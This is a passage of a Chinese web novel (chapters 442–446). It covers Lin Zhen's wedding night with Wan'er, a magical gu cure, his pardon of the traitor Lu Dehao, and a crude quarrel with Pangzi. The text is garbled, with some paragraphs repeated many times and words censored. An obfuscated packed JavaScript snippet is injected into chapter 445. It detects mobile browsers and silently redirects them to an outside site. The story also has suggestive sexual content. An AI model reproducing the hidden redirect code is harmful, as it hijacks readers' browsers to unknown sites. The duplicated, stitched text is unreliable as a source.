那冰冰凉凉,好像没有体温的红唇,让林臻更加爱意爆棚,他不顾瞪大双眼不知所措的婉儿,双臂用力,将她抱起,边吻着边将她放倒在床榻上。 林臻那火热的身体让已经受尽寒意折磨的婉儿瞬间动情,双手无意识地在他头上,胸口、后背间游走。 就在婉儿感觉到什么东西的时候,林臻忽然起身,吹熄了大红色蜡烛。 第二天阳光照射进来的时候,林臻翻了个身,发现身边竟然没有人。 婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 林臻记得昨晚,婉儿的双腿几乎是抬不起来的,成半瘫痪的样子,而现在,居然能稳稳地站在窗前,而且丝毫不受外面冷风的影响。 好啊。 这是开年后的第一件喜事!! “婉儿!” “嗯?”靠在窗边的婉儿立刻回眸,散落的青丝随着动作轻轻摆动。 尤其是那望向爱人的眼神。 那一瞬间,林臻真的觉得她美极了。 “你的腿” 婉儿下意识地看了看自己的腿,随即笑靥如花,徐徐向林臻走来。 谁知,走到半路突然腿一软就要栽倒。 林臻忙窜出去,一把将她扶住。 “婉儿,你没事吧?” 婉儿苦笑一声:“妾身还以为真的会出现奇迹呢,可还是不中用。” 言罢她看到林臻没穿鞋,焦急地道:“地上凉,夫君快快坐下,使不得。” 林臻哪里会听?不顾一切地将婉儿横抱起来,两人重新回到床上。 林臻把脚在缎子面的窗帘上蹭蹭,随即坐在床榻上问她:“婉儿,你现在感觉怎么样?可是比昨天强些?” 婉儿没回答,而是把林臻刚刚冻冰的脚抱进自己怀里,这才说话。 “早上的时候妾身想想小解,就梦游似的站了起来,这才发现双腿好像好了很多,身上也不冷了,小解回来后见到那院子里梅花开得正艳,于是就看了看。要说是不是比昨天好,那肯定是好很多的。” “果然奏效了!哈哈哈哈,这样一来,你就不需要千年人参来吊命,只需每天和我圆房即可!” 说起圆房,婉儿更是脸蛋绯红,甚至带着浓浓的感动。 因为不是所有人都能接受自己的老婆是个瘫软,并且在瘫痪的情况下继续圆房。 在婉儿看来,这正是林臻爱她的表现。 “那以后就只能辛苦夫君了呢。” “不辛苦不辛苦。”林臻连连摆手。 哪有男人嫌这种事情辛苦的,再说他和婉儿是新婚夫妻,又不是躺在一起没有任何邪念的老夫老妻。 林臻把自己的脚收回来,换了个姿势重新钻进被窝,将婉儿那丝丝凉凉的身体抱在怀里。 随即,他贴在婉儿耳边说了句什么,婉儿听后大羞! “啊?夫君.那里也可以用真的嘛?”婉儿指了指自己的嘴巴。 林臻满眼期待地点点头,并且举起双手保证:“为夫可不是为了羞你啊!更不是为了那些低俗**的事情,而是为了治你的病!噬心蛊的好处就是次数越多,效果就越好!而且吃进去肯定要比昨晚吸收得更好呢。” 凑越近,低下头,鼻尖相互对准。 婉儿望着近在咫尺的林臻,不由心头撞鹿;闻着他呼出的淡淡英雄气与酒香,更是令婉儿骨软筋麻。 好似雪狮子向火,霎时间酥了半边。 “夫唔!!”林臻不再犹豫,而是热烈地吻住婉儿的红唇。 那冰冰凉凉,好像没有体温的红唇,让林臻更加爱意爆棚,他不顾瞪大双眼不知所措的婉儿,双臂用力,将她抱起,边吻着边将她放倒在床榻上。 林臻那火热的身体让已经受尽寒意折磨的婉儿瞬间动情,双手无意识地在他头上,胸口、后背间游走。 就在婉儿感觉到什么东西的时候,林臻忽然起身,吹熄了大红色蜡烛。 第二天阳光照射进来的时候,林臻翻了个身,发现身边竟然没有人。 婉儿呢? 林臻瞬间清醒了大半,忙坐起来,一转头,就看到婉儿穿着洁白的亵衣,正依靠在窗边欣赏那株开得正艳的梅花。 噬心蛊.真的起效果了。 林臻记得昨晚,婉儿的双腿几乎是抬不起来的,成半瘫痪的样子,而现在,居然能稳稳地站在窗前,而且丝毫不受外面冷风的影响。 好啊。 这是开年后的第一件喜事!! “婉儿!” “嗯?”靠在窗边的婉儿立刻回眸,散落的青丝随着动作轻轻摆动。 尤其是那望向爱人的眼神。 那一瞬间,林臻真的觉得她美极了。 “你的腿” 婉儿下意识地看了看自己的腿,随即笑靥如花,徐徐向林臻走来。 谁知,走到半路突然腿一软就要栽倒。 林臻忙窜出去,一把将她扶住。 “婉儿,你没事吧?” 婉儿苦笑一声:“妾身还以为真的会出现奇迹呢,可还是不中用。” 言罢她看到林臻没穿鞋,焦急地道:“地上凉,夫君快快坐下,使不得。” 林臻哪里会听?不顾一切地将婉儿横抱起来,两人重新回到床上。 林臻把脚在缎子面的窗帘上蹭蹭,随即坐在床榻上问她:“婉儿,你现在感觉怎么样?可是比昨天强些?” 婉儿没回答,而是把林臻刚刚冻冰的脚抱进自己怀里,这才说话。 “早上的时候妾身想想小解,就梦游似的站了起来,这才发现双腿好像好了很多,身上也不冷了,小解回来后见到那院子里梅花开得正艳,于是就看了看。要说是不是比昨天好,那肯定是好很多的。” “果然奏效了!哈哈哈哈,这样一来,你就不需要千年人参来吊命,只需每天和我圆房即可!” 说起圆房,婉儿更是脸蛋绯红,甚至带着浓浓的感动。 因为不是所有人都能接受自己的老婆是个瘫软,并且在瘫痪的情况下继续圆房。 在婉儿看来,这正是林臻爱她的表现。 “那以后就只能辛苦夫君了呢。” “不辛苦不辛苦。”林臻连连摆手。 哪有男人嫌这种事情辛苦的,再说他和婉儿是新婚夫妻,又不是躺在一起没有任何邪念的老夫老妻。 林臻把自己的脚收回来,换了个姿势重新钻进被窝,将婉儿那丝丝凉凉的身体抱在怀里。 随即,他贴在婉儿耳边说了句什么,婉儿听后大羞! “啊?夫君.那里也可以用真的嘛?”婉儿指了指自己的嘴巴。 林臻满眼期待地点点头,并且举起双手保证:“为夫可不是为了羞你啊!更不是为了那些低俗**的事情,而是为了治你的病!噬心蛊的好处就是次数越多,效果就越好!而且吃进去肯定要比昨晚吸收得更好呢。” 第443章 当家主母的威严 本来就是嘛。 那吃进去的东西其消化程度肯定要比别的方式进入体内的要好得多。 至于别的什么方式.别问问就是不兴说。 其实林臻有的时候特别感慨。 他不明白为什么长在我们身上的某些器官是低俗的。 为人类繁衍、支援世界**这样的伟大事情做出属于自己的贡献难道不是高尚的吗? 搞不懂。 搞不懂就不搞不过显然经过噬心蛊改造的“良药”不能让婉儿吃饱于是林臻喊来她的贴身丫头。 婉儿的贴身丫鬟名叫兰陵是个很可爱很规矩的姑娘今年十六*成熟。 用生物学的专业术语就是:完全变态。 只是这小姑娘似乎怕人得很攥着裙摆迈着小碎步走进来连对林臻说话的声音都是极小。 “参见老爷。” 林臻没说话婉儿就柳眉一蹙:“大胆!王爷尚且在世怎能称呼世子老爷?平日里我是怎么教你的?” “是!”兰陵对婉儿很是害怕连忙跪了下去恭敬地对林臻磕了个头:“参见世子。” “乖起来吧。” “是。” 兰陵站了起来林臻忽然发现她眉眼下方有颗小巧的美人痣身高平平常常身段倒是纤细得很也算半个小美人。 不过与其他妻妾还是有差距的。 林臻睡惯了美女对兰陵这样普通的姑娘反而没有太大的兴趣。不过按照传统贴身丫鬟基本就是通房丫头日后会不会收还不好说。 林臻说道:“你速速派人去御膳房传菜过来就说是我的命令不必太奢侈你家小姐喜欢吃什么就立刻弄来什么。” 林臻担心御膳房那帮**的太监刁难她还特意说了是自己的命令。 兰陵再次福身:“是。” 婉儿见她出去淡笑着在被窝里动了动腿发现在吃掉那几亿只小小的灵丹妙药后确实有了效果而且身上也不觉得冷了。 她笑着说:“夫君我们该起来了新婚少妇不起早会惹人家嘲笑的。” “嗐吃完饭再说吧。” “真的不可以!这样是会坏了规矩的!而且”婉儿俏脸一红目光复杂地望向床边那洁白的白绫 “而且按照规矩这白绫是需要给昨天道喜的宾客看的.” 林臻问了个无比**的问题:“不看会怎么样?好像其他女子也都没看啊。” “哎呀夫君!!”婉儿不依。 “妾身是唯一冰清玉洁被您娶进王府的,不看的话他们肯定会在背后嚼舌根说妾身不干净,这让妾身以后怎么见人?还怎么管理后院?” “那我们把白绫扯下来,挂在皇宫和王府的旗杆子上。” “啊?!” 婉儿是彻底被林臻的脑回路给整懵了。 其实林臻就是想逗逗她而已,因为认识了这么久,他从没有和婉儿说过如此多的话。 不过婉儿显然是不同意林臻看法的。 她无奈地叹了口气,就像贤惠的妻子看到打了一宿牌早晨才回家的丈夫。 既说不听,又管不了。 只能选择接受。 她默默地起身,没有抱怨,也没有继续再劝,而是小心翼翼地踩上绣花鞋,在确定自己双腿可以站定后,这才直起身子,转过身面对着林臻。 林臻坐在床上可以看到她领口的布料微微张开,半露出一痕雪脯,两座圣峰,但是她很迅速地将其整理好。 然后对林臻笑靥如花地说:“夫君,妾身伺候您更衣。” “哦?当家主母亲自为我更衣?”林臻淡笑着起身。 “妻子的本分就是伺候丈夫啊,妾身这么做有什么不对的?”婉儿也同样笑盈盈的,忽然发现柜子上搁置的是昨天的喜服。 这是大婚之日才穿的,今天穿肯定不合适,于是她喊人进来:“兰陵,速速拿世子的衣服过来。” “是。” 兰陵在外面回了一声,很快便双手捧着托盘走进。 婉儿很自然地把那件玄黑色的袍挂拿起来,一件一件为林臻上身。 与浣碧不同的是,她的动作略显生疏,流苏的扣子系得很别扭。 而且手指也规规矩矩的,不像晴雯那妮子一个劲儿地乱碰。 等弄好这一切,她也在兰陵的伺候下穿好衣服,两人来到餐厅用膳。 今天婉儿的胃口很好,不像生病的那段时间食欲不振,一个人吃了两个馒头,喝了半碗小米粥,最后优雅地擦拭嘴角的汤汁,对林臻说道 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她靠在椅子上,接过兰陵递过来的暖手炉,神色威严地道:“我问你,其他几个妹妹都起来没有?” “碧儿不知道,只知道张俪和月妩两位姐姐早上就出去了。” “一群懒蛋!这都几点了还不起床,等我亲自去叫?” “我那碧儿这就去叫她们起来。”浣碧都有点害怕了,她忽然想起胖子的一句口头禅。 你是带草帽子看猪鼻,你看不出眉眼高低啊。 你这刚进家门就这么大的谱! 回头遇上晴雯怎么办? 还不怼死你? 除了晴雯,还有青霞,刘妙颜,以及那个最特殊的楚惜灵,哪个是好惹的? 那都是逼急了连夫君都敢打的人! 你现在跟我耀武扬威摆当家主母的谱,我看你遇到她们怎么办! 哼! 浣碧也被林臻惯出了些脾气,打算扭头离开,谁知婉儿又说道。 “算了,新婚第二天,就破一次例。你去告诉她们,今晚除了陛下以外,所有人通通都要回王府!我有话要说!” “是。” 第444章 一件一件交代 林臻也没想到婉儿的威慑力这么强,还真有一股当家主母的做派。 不错,以后这个家能消停消停了。 要不隔三差五的就用拳脚来定规矩,烦都能烦死。 两人走出寝殿,准备去养心殿见见慕容嫣,谁知走到宫门口的时候无舌说慕容嫣正在会见六部尚书。 当然,无舌也没有阻拦的意思,就是象征性地提醒一声。 但是林臻琢磨着,很多国家大事也需要慕容嫣这个皇帝亲自去做,自己不能什么事情都插一脚。 令出多门是大忌,况且慕容嫣的心性还需要磨炼,自己总是给她遮风挡雨,不利于她的成长。 于是林臻不由分说,在养心殿门口就把婉儿给背了起来。 婉儿吓得大窘,连忙在林臻耳边哀求:“夫君,您快放妾身下来!这光天化日我们就搂搂抱抱的,成何体统!妾身还要不要见人了!” “没事,昨天我答应你了要背你出宫,那就必须得做到。” “妾身当然相信您,可是这样真的很不好,妾身求求您了,放妾身下来吧。” “不放,老子就是要所有人都看看,我是怎么对待我爱人的。” “这” 无比霸气的话险些把婉儿的心给烫碎掉。 她是既开心又窘迫。 因为这里的一切,都和她从小**得的传统理念不同,甚至是相悖。 没办法了。 林臻不松手,她是掉不下去的。 她只能把脸埋进林臻的背脊,任由他拖着自己的小屁屁,一步一步往宫外走。 这一路不知道招来多少人的目光,林臻浑然不觉,甚至还很骄傲。 就差没有跟他们喊上一嗓子:老子娶媳妇了! 但是林臻没喊,以婉儿的性子,这句话如果喊了她非羞死不可。 侯春牵着马车在宫门口等着,见林臻背着婉儿出来立刻迎上来。 “世子,夫人。” “今天天气不错,我们不坐马车了。”林臻脸上一直洋溢着幸福的笑容。 婉儿躲在他后背里,始终没有抬头。 阳光下,积雪旁,马路边。 情侣的背影被拉得老长。 百姓的思想还不够开放,如果换做别人肯定会被他们指指点点。 但这个人是林臻。 是给了他们幸福生活的人,是让这个国家焕发新生的人。 所以他们自然会对林臻网开一面,甚至有些人脸上还有淡淡笑意,十分佩 服地说上一句:不愧是世子。 因为报社的出现,狗仔队也应时而生,他们看到林臻与上官婉儿这样和谐,这样纯美的一幕,也丝毫不吝啬思想,当做劲爆大新闻,飞快地跑回报社开始执笔。 林臻就这样背着婉儿一路回到王府,侯春的马车上坐着浣碧。 毕竟闲着也是闲着,大冬天的,小姑娘怕冷。 进府的时候,林臻手腕一松。 婉儿感觉到,立刻像小兔子似的跳下来,谁知腿上一软,又险些栽倒。 林臻忙搂住她,将她带进怀里。 “婉儿,你身体还没有好,不能这样**躁。” “妾身.妾身回去换衣服。” “嗯,你先休息休息,我还有事情需要安排。” 婉儿在兰陵的搀扶下走去后院。 早在大婚之前,林臻的房间就从以前的小房子里搬出来了。 因为要娶老婆嘛,那间小屋子总是不方便的。现在林臻住的地方就是曾经他父亲母亲住过的主院,除了林臻和婉儿以外,其他妻妾都在不同的别院里住。 林臻没跟着回去,而是来到书房。 他昨天就要问问芦德豪,已经派老曹去请了。 也不知怎的,他总觉得芦德豪身上应该有什么秘密,而且是那种极其难以启齿的,否则以他那大大咧咧的性子绝不会对林臻突然那么客套。 事出反常必有妖,看来庄三亭说的是真的。 他们遇袭,就是芦德豪干的。 虽然林臻已经知道了这件事情,但因为这段时间积压的事情特别多,需要一件一件处理,一件一件交代,所以就没着急去找他。 而今天正好没事,所以便找他过来。 林臻在书房里等了一会儿,侯春走进来汇报。 “世子,芦小公爷来了,跟他一起来的还有胖爷。” “进来吧。”林臻头也没抬,专注地在一幅舆图上面比划着什么。 很快,胖子张牙舞爪地走进来。 这小子现在红光满面的,也不知道是发生了什么好事儿。 芦德豪则是低着脑袋,昨天抽在他脸上的巴掌印现在还没消下去。 “哈哈哈哈,大哥!胖爷带着byd给你赔罪来了。” “别胡说八道,都是自己家兄弟,赔什么罪?坐吧。” 胖子应了一声,大大咧咧地坐在一边的椅子上翘起二郎腿,嘬牙花子。 芦德豪站在书桌面前,一句话也不说,像个闷葫芦。 林臻还是没有抬头,一边用直尺比划舆图,一边划线,过了一刻钟才问道:“德豪,你没有什么要告诉我的吗?” “我哥啊我.”芦德豪支支吾吾半天,最后噗通一声就给林臻跪下了,“哥,我对不起你” “老庄他们遇袭,是你安排的吧?” “是”芦德豪从牙缝里挤出这个字。 显然,他也十分痛苦。 林臻叹了口气,摇摇头:“你不是会背叛我的人,说说吧,因为什么。” 这也是林臻最好奇的事情。 到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二郎腿,震惊地道:“我的姥姥啊!你爹可是国公!国公对百骑司下手,这他妈是**!” 林臻一摆手,示意他别插嘴。 芦德豪哭了,但是他没有嚎啕大哭,而是倔强地不去擦拭那一点一点滴下来的泪水。 “可是我不做我爹就**!大哥,我也没有办法啊。当天我还特意提醒了老庄,谁知道他**看见二锅头就什么都忘了,导致那么多百骑司的兄弟战死!我我.我对不起他们” 林臻漠然地问道:“出手的人,是你芦家的府兵,对吧?” “是” “你先起来,听我说。” 林臻还是没有抬头,一边用直尺比划舆图,一边划线,过了一刻钟才问道:“德豪,你没有什么要告诉我的吗?” “我哥啊我.”芦德豪支支吾吾半天,最后噗通一声就给林臻跪下了,“哥,我对不起你” “老庄他们遇袭,是你安排的吧?” “是”芦德豪从牙缝里挤出这个字。 显然,他也十分痛苦。 林臻叹了口气,摇摇头:“你不是会背叛我的人,说说吧,因为什么。” 这也是林臻最好奇的事情。 到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二郎腿,震惊地道:“我的姥姥啊!你爹可是国公!国公对百骑司下手,这他妈是**!” 林臻一摆手,示意他别插嘴。 芦德豪哭了,但是他没有嚎啕大哭,而是倔强地不去擦拭那一点一点滴下来的泪水。 “可是我不做我爹就**!大哥,我也没有办法啊。当天我还特意提醒了老庄,谁知道他**看见二锅头就什么都忘了,导致那么多百骑司的兄弟战死!我我.我对不起他们” 林臻漠然地问道:“出手的人,是你芦家的府兵,对吧?” “是” “你先起来,听我说。” 林臻还是没有抬头,一边用直尺比划舆图,一边划线,过了一刻钟才问道:“德豪,你没有什么要告诉我的吗?” “我哥啊我.”芦德豪支支吾吾半天,最后噗通一声就给林臻跪下了,“哥,我对不起你” “老庄他们遇袭,是你安排的吧?” “是”芦德豪从牙缝里挤出这个字。 显然,他也十分痛苦。 林臻叹了口气,摇摇头:“你不是会背叛我的人,说说吧,因为什么。” 这也是林臻最好奇的事情。 到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二郎腿,震惊地道:“我的姥姥啊!你爹可是国公!国公对百骑司下手,这他妈是**!” 林臻一摆手,示意他别插嘴。 芦德豪哭了,但是他没有嚎啕大哭,而是倔强地不去擦拭那一点一点滴下来的泪水。 “可是我不做我爹就**!大哥,我也没有办法啊。当天我还特意提醒了老庄,谁知道他**看见二锅头就什么都忘了,导致那么多百骑司的兄弟战死!我我.我对不起他们” 林臻漠然地问道:“出手的人,是你芦家的府兵,对吧?” “是” “你先起来,听我说。” 林臻还是没有抬头,一边用直尺比划舆图,一边划线,过了一刻钟才问道:“德豪,你没有什么要告诉我的吗?” “我哥啊我.”芦德豪支支吾吾半天,最后噗通一声就给林臻跪下了,“哥,我对不起你” “老庄他们遇袭,是你安排的吧?” “是”芦德豪从牙缝里挤出这个字。 显然,他也十分痛苦。 林臻叹了口气,摇摇头:“你不是会背叛我的人,说说吧,因为什么。” 这也是林臻最好奇的事情。 到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二 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到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二郎腿,震惊地道:“我的姥姥啊!你爹可是国公!国公对百骑司下手,这他妈是**!” 林臻一摆手,示意他别插嘴。 芦德豪哭了,但是他没有嚎啕大哭,而是倔强地不去擦拭那一点一点滴下来的泪水。 “可是我不做我爹就**!大哥,我也没有办法啊。当天我还特意提醒了老庄,谁知道他**看见二锅头就什么都忘了,导致那么多百骑司的兄弟战死!我我.我对不起他们” 林臻漠然地问道:“出手的人,是你芦家的府兵,对吧?” “是” “你先起来,听我说。” 林臻还是没有抬头,一边用直尺比划舆图,一边划线,过了一刻钟才问道:“德豪,你没有什么要告诉我的吗?” “我哥啊我.”芦德豪支支吾吾半天,最后噗通一声就给林臻跪下了,“哥,我对不起你” “老庄他们遇袭,是你安排的吧?” “是”芦德豪从牙缝里挤出这个字。 显然,他也十分痛苦。 林臻叹了口气,摇摇头:“你不是会背叛我的人,说说吧,因为什么。” 这也是林臻最好奇的事情。 到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二郎腿,震惊地道:“我的姥姥啊!你爹可是国公!国公对百骑司下手,这他妈是**!” 林臻一摆手,示意他别插嘴。 芦德豪哭了,但是他没有嚎啕大哭,而是倔强地不去擦拭那一点一点滴下来的泪水。 “可是我不做我爹就**!大哥,我也没有办法啊。当天我还特意提醒了老庄,谁知道他**看见二锅头就什么都忘了,导致那么多百骑司的兄弟战死!我我.我对不起他们” 林臻漠然地问道:“出手的人,是你芦家的府兵,对吧?” “是” “你先起来,听我说。” 林臻还是没有抬头,一边用直尺比划舆图,一边划线,过了一刻钟才问道:“德豪,你没有什么要告诉我的吗?” “我哥啊我.”芦德豪支支吾吾半天,最后噗通一声就给林臻跪下了,“哥,我对不起你” “老庄他们遇袭,是你安排的吧?” “是”芦德豪从牙缝里挤出这个字。 显然,他也十分痛苦。 林臻叹了口气,摇摇头:“你不是会背叛我的人,说说吧,因为什么。” 这也是林臻最好奇的事情。 到底是什么样的事情,才会让这个绝不会背叛自己的男人,出手伤害自己派出去的部队呢? 芦德豪说道:“是我爹大哥你一句纨绔应率先冲锋,导致我二哥战死,三哥重伤。他对朝廷心灰意冷,经常在家里发脾气,还说什么女人当皇帝本就是扯淡,让一个纨绔来操纵朝政更是荒谬” 胖子闻言立刻放下二郎腿,震惊地道:“我的姥姥啊!你爹可是国公!国公对百骑司下手,这他妈是**!” 林臻一摆手,示意他别插嘴。 芦德豪哭了,但是他没有嚎啕大哭,而是倔强地不去擦拭那一点一点滴下来的泪水。 “可是我不做我爹就**!大哥,我也没有办法啊。当天我还特意提醒了老庄,谁知道他**看见二锅头就什么都忘了,导致那么多百骑司的兄弟战死!我我.我对不起他们” 林臻漠然地问道:“出手的人,是你芦家的府兵,对吧?” “是” “你先起来,听我说。” 第445章 一氧化碳**? 芦德豪这次表现得很倔强林臻放下自制的铅笔直起身 “唉德豪啊兄弟一场我不想把事情做得太难看。很清楚地告诉你几十年间四公的局面如今只剩下你父亲勋国公了你的行为恰好给了我一个废除他的理由。” 芦德豪攥紧双拳。 他知道林臻的惩罚还远远没有结束。 芦家恐怕要在大乾勋贵里彻底除名了。 “除了剥夺你父亲的爵位之外还有拿掉他的一切官职贬为庶民。你的残疾哥哥按照朝廷优待政策享受无忧照顾你另外两个哥哥也都在任期上这我不会动。至于你。” 芦德豪紧张地把后槽牙咬着嘎吱吱作响。 林臻看他的样子想起曾经芦德豪的所作所为终于是无奈的长叹。 “至于你唉该干什么干什么去吧。” 芦德豪猛然抬头一双长睫毛的眼睛里闪烁着难以置信。 这.这算是放过他了吗? 胖子赶紧走过来一巴掌拍在他后脖颈上:“傻了?还不谢谢大哥!” “我大哥我.我.”芦德豪激动地支支吾吾一句完整的话都说不过来。 林臻明显已经把芦德豪的**前途彻底打碎了但也十分体面地让他继续担任武清开发区主管也就是说以后只要芦德豪恪尽职守兢兢业业搭理开发区林臻会保他永远在这个岗位上。 兄弟情在这一刻具象化了。 最后芦德豪“咚”的一声把脑袋磕在地上。 林臻看到地砖上隐隐流出一道鲜血。 “我今生今世绝不会再背叛大哥!” “起来吧。”林臻走到他面前伸手把他拉起来。 之所以保留芦德豪职位除了念及兄弟情义之外林臻还有另外一层考虑。 那就是芦德豪对武清开发区的认真态度。 这么短的时间他可以从无到有从不会到精通可见他是下了一番功夫的。 这样的人不能说是人才。 但却很有毅力也非常负责任把武清开发区交给他林臻很放心。 尤其是这段时间以来芦德豪从没有在开发区里发过什么错误这让他很是欣慰。 鉴于他对孝道的无奈以及对武清开发区的贡献所以林臻才愿意保他一次。 就像总是犯错误的胖子林臻永远都是小惩大戒从没真正地下过手。 也下不去手。 林臻招呼两 人在一边坐又喊来丫鬟用干净的手帕给芦德豪擦脑门。 丫鬟一边擦一边忍不住想笑娇小的胸脯不停颤抖憋得很是辛苦。 芦德豪本就身体素质差这么多年又喜欢泡在勾栏里这一磕险些没磕死靠在椅子上疼得浑身直哆嗦。 胖子一看他这贱样就笑了。 “噗哈哈哈你说你没那个两下子装什么大p眼子?大哥还用你给磕头吗?真是的。”骂完芦德豪胖子看向林臻满脸憨笑。 “大哥你不知道这段时间胖爷已经彻底攻略了老爷子这就准备用轿子把静澜抬进门了。” “什么情况?王叔能同意你俩好?” “不同意也不行啊静澜怀孕了。过年那天更是挺着大肚子上门见我爹就叫父亲大人见了我娘就叫母亲整日的端茶倒水捏肩捶腿那叫一个乖巧根本看不出来以前是**。” “你等会儿!”林臻一愣“这才几天啊怎么就挺着大肚子了?” “嗐!”胖子一摆手“静澜也是为了彰显自己有了身孕所以才故意装出来的不过你还别说我父母就吃这一套!虽然她的身份不能当正妻但当个小妾也不算辱没门楣胖爷正准备进宫去向你老婆请旨呢给静澜个诰命的身份然后不就彻底洗白了嘛。” 胖子对此很是得意仰起和水桶般差不多粗的脖子靠在椅子上语气轻松:“哎!这以后啊胖爷就好好的相夫教子过日子了!男人嘛总会有这么一天。” “你还真是老母猪带胸罩一套又一套的。”林臻翻个白眼“我告诉你诰命的身份你是别想了。” “啊?为什么啊?”胖子一咕噜坐起来“大哥当初让你老婆赐婚你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406073|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不同意现在给个诰命的身份也不同意你还真是娶了媳妇忘了兄弟啊!” “滚一边儿去根本就不是这个事儿。” 众人正说着浣碧穿着淡蓝色长裙走进来 林臻接过来吹了吹漂浮的茶叶与她相视一笑随即对胖子说道。 “天道的人目前还不能给正式的身份尤其是诰命这种顶级。如果开了这个头那其他的仙子怎么办?都找官宦子弟嫁了?我还准备打造情报系统呢。” 胖子不满意:“不是那给一个还不行?” “一个都不行!她们以前都是江湖中人属于民间义士。朝廷现在正是改革初期大肆收编也属正常但如果让曾经的反贼做了大官那性质就变了。所以 说,诰命的身份是不能给的,甚至我都不同意你大张旗鼓地把静澜娶进门。” “你丫还大张旗鼓地娶丫鬟呢!胖爷怎么就不能娶个小妾了?” “我就知道你会跟我闹,但是你闹也没用,目前来讲,大乾官封的诰命一共也就几十个人,这其中还有许多已经殁了的长辈,陛下是不会给你这个机会的,她知道轻重.诶诶诶,**干什么?” 林臻的话还没说呢,胖子就直接把裤子一脱蹲在了椅子上。 **。 那大白屁股,眼瞅着就要拉屎了。 胖子说:“少废话,不同意胖爷就拉你这。” “你这人讲不讲道理啊?” “不讲!怎么滴?以前胖爷还能动动手,现在是说也说不过,打也打不过,除了撒泼还能干什么?反正这个诰命你要是不给,胖爷就不走了!” 噗—— 说着,胖子就放了个极臭的韭菜屁。 险些把林臻熏昏过去。 他跳起来使劲用手扇,浣碧更是用手绢捂住鼻子,忙不迭地跑了出去。 芦德豪砸吧砸吧嘴,迷迷糊糊地舔了舔嘴唇:“大哥.你家厨娘又做韭菜盒子了?” “做你大爷,赶紧起来,一会儿一氧化碳**了个屁的了!” 第446章 敢在我身上找自信? 林臻迫不及待地把书房里所有的窗户都推开了,回来后见胖子还光着屁股在那蹲着,气不打一处来。 “胖子,你先下来,我们有话好说!” “大哥,胖爷就这一个要求,给静澜个诰命!”胖子站起来,把裤子提上。 芦德豪彻底晕过去了。 他就坐在胖子身边,这一口浓屁吸进去,以他的身体最少得缓半个月。 林臻说道:“诰命诰命,你自己连个官职都没有,诰哪门子的命?” “一个破官而已,你给我一个不就行了吗?” “放屁!官职要是能说给就给,国家还不乱套了?” “就连芦德豪这样的色懒都能给挂工部的职,胖爷立过那么多战功,怎么就不行?不就是犯点错误吗?难道胖爷这么些年为国征战,都不能抵消那屁大点的过错?胖爷是**了还是放火了?还是欺负老百姓了?为什么就这么十恶不赦?” 说着说着胖子眼圈都红了。 不仅如此,林臻也被他问得哑口无言。 唉,话虽这么说,可问题是胖子去哪当官啊?他这个性子,到哪都是祸害,只有在自己身边还能管管他。 要不就去边疆,这孙子闲不住,说不定能恶心恶心外国人。 林臻走过来,拍了拍胖子的肩膀。 “这样吧,我先问问陛下的意思,如果她同意,我就琢磨着在军队里给你找个职位。” “不用那么麻烦!大哥,我是武将,干脆你就给我派到边关去算了,真的,我愿意戍边!” 废话,你当然戍边了。 你往边疆一去那就是土皇帝。 “戍边的事情不着急,王叔肯定还要给你找个正房,万一去戍边,又是很久不能回家。” “我不要啊!”胖子都快疯了。 “不要也得要!**,给你脸了?”林臻瞪着眼睛大吼,“现在两条路任你选!第一,给静澜诰命,你再娶一个贤惠的正房。要不你就在这拉屎,我走!” 说完林臻就气鼓鼓地转身离开,结果没注意,一脚踢在芦德豪脚踝上。 林臻当然没事,但是他被噬心蛊改造过的身体十分**,这一脚直接把芦德豪从椅子上踢了下来。 砰—— 太阳穴先着地。 妥,这回晕透亮了。 胖子赶紧把林臻拉住:“别别别大哥!大哥!我错了,我选一还不行吗?” 林臻回眸,眉毛一挑。 “真的?” “ 真的!”胖子信誓旦旦地伸出中指,指着老天爷:“我发誓,我保证乖乖听大哥的话,若有违背,我王字倒着写!” 行.这年头敢用中指指苍天的,也就是他了。 